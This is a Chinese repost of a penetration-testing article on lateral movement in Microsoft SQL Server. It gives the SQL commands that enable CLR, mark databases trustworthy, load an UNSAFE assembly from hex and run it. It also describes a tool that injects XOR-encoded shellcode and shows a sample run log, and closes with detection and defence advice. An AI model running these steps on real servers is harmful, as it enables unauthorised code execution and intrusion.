原文地址：https://research.nccgroup.com/2021/01/21/mssql-lateral-movement/

通过已经到手的凭证在环境中实现横向移动，是我们NCC Group FSAS团队的共同目标。在时间受限的渗透过程中，快速、可靠地使用新获得的凭证的能力是至关重要的。在本文中，我们将为渗透测试人员详细介绍如何在不写入磁盘（当然，还是有一个DLL会被SQL Server进程临时写入磁盘）或不借助XP_CMDSHELL的情况下，通过MSSQL CLR自动实现横向移动，以及如何预防和检测这种攻击。

在利用MSSQL服务实现命令执行的时候，通常的做法是利用XP_CMDSHELL存储过程在MSSQL进程的上下文中运行操作系统命令。如果要想利用这种技术运行自定义代码，通常需要使用LOLBINS，添加新的操作系统用户，或通过BCP向磁盘中写入二进制文件，这些方法的缺点是很容易被发现。

我们专门为本文开发的工具（Squeak）可以通过下面的网址进行下载： 

https://github.com/nccgroup/nccfsas/tree/main/Tools/Squeak

关于利用CLR集成来执行命令的方法，Sensepost之前已经在一篇文章中详细讲过，并已经实现了自动化，以提高该技术的速度和可靠性。

SQL Server CLR集成

在SQL Server 2005中引入了从MSSQL运行.NET代码的功能，并在后续版本中叠加了许多保护措施，来限制代码可以访问的内容。在创建.Net程序集时，会给它们指定一个权限级别，例如： 

CREATE ASSEMBLY SQLCLRTest  

FROM 'C:\MyDBApp\SQLCLRTest.dll'  

WITH PERMISSION_SET = SAFE;  

实际上，其权限集有三个选项：

    SAFE：基本上只将MSSQL数据集暴露给代码，其他大部分操作则都被禁止。

    EXTERNAL_ACCESS：允许访问底层服务器上某些资源，但不应该允许直接执行代码。

    UNSAFE：允许使用任何代码。

微软关于SQL CLR的详细文档可通过以下网址获得：  https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration.

要想运行标记为“SAFE”的代码，只需启用CLR就可以了；但是，要想运行标记为“EXTERNAL_ACCESS”或“UNSAFE”的代码，则需要需要修改相应的配置，以及DBA权限。2017年之前和之后的服务器版本，运行标记为“UNSAFE”的CLR所需的初始步骤是不同的，下面分别进行介绍： 

对于SQL Server 2017之前的版本

显示高级选项： 

sp_configure 'show advanced options',1;RECONFIGURE

启用CLR： 

sp_configure 'clr enabled',1;RECONFIGURE;

将存储.Net程序集的数据库配置为可信赖的。 

ALTER DATABASE <CONNECTED DATABASE> SET TRUSTWORTHY ON;

有趣的是，MSDB数据库似乎在默认情况下被授予了TRUSTWORTHY权限。

SQL Server 2017及更高版本

对于SQL Server 2017及更高版本，则引入了严格的安全性，也必须禁用。另外，也可以根据提供的SHA512哈希值，针对单个程序集授予其UNSAFE权限，而不是将整个数据库都标记为可信的。对于SQL Server 2017及以上版本，其过程如下所示：

显示高级选项： 

sp_configure 'show advanced options',1;RECONFIGURE

启用CLR： 

sp_configure 'clr enabled',1;RECONFIGURE;

将某程序集的SHA512哈希值添加到可信程序集列表中： 

sp_add_trusted_assembly @hash= <SHA512 of DLL>;

从现在开始，程序集的创建和调用对于任何SQL Server版本来说，都是一样的。

通过十六进制字符串创建程序集——如果可以从十六进制字符串创建程序集，则意味着无需创建一个二进制文件并将其写入SQL服务器进程可访问的位置： 

CREATE ASSEMBLY clrassem from <HEX STRING> WITH PERMISSION_SET = UNSAFE;

创建存储过程，以从程序集运行代码： 

CREATE PROCEDURE debugrun AS EXTERNAL NAME clrassem.StoredProcedures.runner;

运行该存储过程： 

debugrun

在代码运行后，可以删除存储过程、程序集以及受信任的哈希值，并将前面修改的安全设置恢复原值。下面显示了一个完成该任务的SQL查询示例，不过需要注意的是，这里并没有考虑安全设置的初始配置。

对于SQL Server 2017及更高版本： 

sp_drop_trusted_assembly @hash=<SHA512 of DLL>

对于SQL Server 2017之前的版本： 

ALTER DATABASE <CONNECTED DATABASE> SET TRUSTWORTHY OFF;

对于所有版本： 

DROP PROCEDURE debugrun;

DROP ASSEMBLY clrassem;

sp_configure 'clr strict security',1;RECONFIGURE

sp_configure 'show advanced options',0;RECONFIGURE

现在，SQL Server进程将执行提供给它的任何.NET代码，因此，为了利用这一点进行横向移动，只需要构建一个适当的DLL即可。作为概念的证明，我们制作了一个简单的程序集，它可以对一些shellcode进行XOR处理，并将其注入到一个派生的进程中。为了简化CLR代码的创建和调用过程，我们提供了相应的GUI应用程序，来执行以下操作：

    收集连接字符串数据

    从原始二进制文件中读取shellcode字节，并进行单字节XOR处理。

    生成一个MSSQL CLR DLL，对shellcode进行XOR处理，生成一个新的进程，并将shellcode注入其中。

    计算DLL的SHA512哈希值。

    生成一个带有硬编码参数的单一.NET可执行文件，通过一个SQL连接执行DLL——该可执行文件将执行以下操作：

        创建一个SQL连接

        检查SQL Server版本

        检查DBA的权限

        检查并记录现有的安全设置

        修改安全设置

        创建并运行相应的程序集

        恢复安全设置并删除程序集

下图显示了生成一个嵌入连接字符串和CLR程序集的独立可执行文件的过程。

对于这里的CLR程序集的代码来说，将从工作目录中的文件中加载；该文件可以直接打开，也可以在工具中编辑。该工具提供了示例代码，但没有进行相应的优化，所以很容易被检测到。

然后，生成的可执行文件可以在没有任何参数的情况下运行。 

C:\Users\user\Desktop>latmovemssqloutput.exe

Running with settings:

==========

Server: 192.168.49.150

Port: 55286

Database: msdb

User: dave

==========

Connection Open !

Microsoft SQL Server 2012 - 11.0.2100.60 (Intel X86)

        Feb 10 2012 19:13:17

        Copyright (c) Microsoft Corporation

        Express Edition on Windows NT 6.2 <X64> (Build 9200: ) (WOW64) (Hypervisor)

Checking for DBA Privs

┌─┐

│1│

└─┘

Got DBA Privs!

Checking whether Advanced Options are already on.

│show advanced options│                    0│                    1│                    0│                    0│

Enabling advanced options

SQL Server is lower than 2017.

Checking CLR status

┌───────────────────────────────────────────────────────────┐

│clr enabled│          0│          1│          1│          1│

└───────────────────────────────────────────────────────────┘

CLR already enabled

Dropping any existing assemblies and procedures

SQL version is lower than 2017, checking whether trustworthy is enabled on the connected DB:

┌────┐

│True│

└────┘

Creating the assembly

Creating the stored procedure

Running the stored procedure.

Sleeping before cleanup for: 5

Cleanup

=======

Dropping procedure and assembly

Disabling advanced options again

Cleaned up... all done.

这样，就可以运行所需的shellcode了，例如建立一个Meterpreter会话。

这里的代码已经在以下SQL Server版本中通过了测试： 

    Microsoft SQL Server 2019 (RTM) – 15.0.2000.5 (X64)

    Microsoft SQL Server 2017 (RTM) – 14.0.1000.169 (X64)

    Microsoft SQL Server 2012 – 11.0.2100.60 (Intel X86)

检测与防御方法

通过最大限度地减少数据库凭证的暴露，并对SQL登录进行适当的权限管理，应该可以减少使用协议在底层操作系统上执行代码的可能性，从而降低受本文介绍的攻击方法侵害的风险。

如果做不到这一点，还可以使用下列方法来检测横向移动攻击：

    异常的SQL服务器登录

    审核可疑的事务，如“CREATE ASSEMBLY”，或确实需要用到SQL查询链的所有其他部分。

    由DLL本身执行的操作。在这种情况下，例如，从.NET内部调用CreateRemoteThread可能会触发检测

对于通过SQL命令调用程序集的进程，也会有几个相同的文件以不同的名称被写入SQL服务账户的临时目录。以下Procmon的截图显示了正在创建的文件和写入其中的.NET代码。

通过调整文件权限，阻止文件从C:\Windows\Temp\目录中被删除，可以在文件被sqlservr.exe进程删除之前检索到文件的副本。然后，可以对其进行反编译，以显示出原始代码。

这能为静态检测恶意内容提供额外的机会，因为在程序集执行后，证据很快就会被删除。 

本文作者：mssp299

本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/153141.html